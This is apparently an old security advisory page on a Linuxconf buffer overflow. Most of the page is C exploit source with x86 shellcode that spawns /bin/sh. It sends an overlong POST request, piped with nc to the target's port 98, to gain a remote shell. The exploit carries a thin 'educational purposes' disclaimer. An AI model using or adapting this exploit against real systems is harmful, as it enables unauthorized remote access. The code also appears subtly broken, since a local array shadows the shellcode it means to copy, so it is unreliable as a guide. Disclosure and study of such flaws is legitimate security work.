Brought to you by:
Suppliers of:
There is a buffer overflow vulnerability in the Linuxconf package that is shipped with several Linux distributions. The vulnerability may be in the program's handling of HTTP headers. Initial testing with Linuxconf 1.16r10 under RedHat 6.0 was inconclusive.
Credit:
The information was provided by: Jon Starnaud .
You can test to see whether your computer is vulnerable to this exploit using the attached exploit code:
/*
linuxconf exploit by R00T-X (c) 1999
USER_AGENT overflow x86
should work on all linux's but you need to have
network access to linuxconf
greetz to: j0e, AcidCrunCh, |420|, umm and everyone who knows me, heh :P
have fun with this but for EDUCATIONAL PURPOSES :)
Usage: (./linexp <offset>;cat)| nc targethost 98
*/
char shell[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\xc0\xff\xff\xff/bin/sh\x00";
#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>
#define BUFLEN 1025
#define NOP 0x90
void
main (int argc, char *argv[])
{
char buf[BUFLEN];
int offset,nop,i;
unsigned long esp;
char shell[1024+300];
if(argc < 2)
{
fprintf(stderr,"usage: (%s <offset>;cat)|nc host.com 98\n", argv[0]);
exit(0);
}
nop = 511;
esp = 0xefbfd5e8;
offset = atoi(argv[1]);
memset(buf, NOP, BUFLEN);
memcpy(buf+(long)nop, shell, strlen(shell));
for (i = 256; i < BUFLEN - 3; i += 2)
{ *((int *) &buf[i]) = esp + (long) offset;
shell[ sizeof(shell)-1 ] = 0;
}
printf("POST / HTTP/1.0\r\nContent-Length: %d, User-agent: \r\n", BUFLEN);
for (i = 0; i < BUFLEN; i++)
putchar(buf[i]);
printf("\r\n");
return;
}
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by